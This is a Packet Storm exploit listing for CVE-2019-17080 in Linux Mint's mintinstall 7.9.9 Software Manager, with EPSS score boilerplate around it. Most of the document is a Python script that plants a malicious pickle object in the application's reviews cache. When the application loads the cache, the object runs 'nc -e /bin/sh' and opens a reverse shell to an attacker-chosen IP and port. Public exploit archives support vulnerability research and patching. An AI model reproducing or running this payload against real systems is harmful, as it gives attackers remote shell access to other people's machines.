Lucene search

K
packetstormAndhrimnirrPACKETSTORM:154722
HistoryOct 02, 2019 - 12:00 a.m.

mintinstall 7.9.9 Code Execution

2019-10-0200:00:00
Andhrimnirr
packetstormsecurity.com
141

EPSS

0.003

Percentile

72.0%

`# Exploit Title: mintinstall (aka Software Manager) object injection  
# Date: 10/02/2019  
# Exploit Author: Andhrimnirr  
# Vendor Homepage: https://www.linuxmint.com/  
# Software Link: mintinstall (aka Software Manager)  
# Version: 7.9.9  
# Tested on: Linux Mint  
# CVE : CVE-2019-17080  
  
  
import os  
import sys  
def shellCode(payload):  
with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:  
wb.write(payload)  
print("[+] Start mintinstall")  
if __name__=="__main__":  
shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")  
else:  
print("[!] exploit.py [IP] [PORT]")  
`

EPSS

0.003

Percentile

72.0%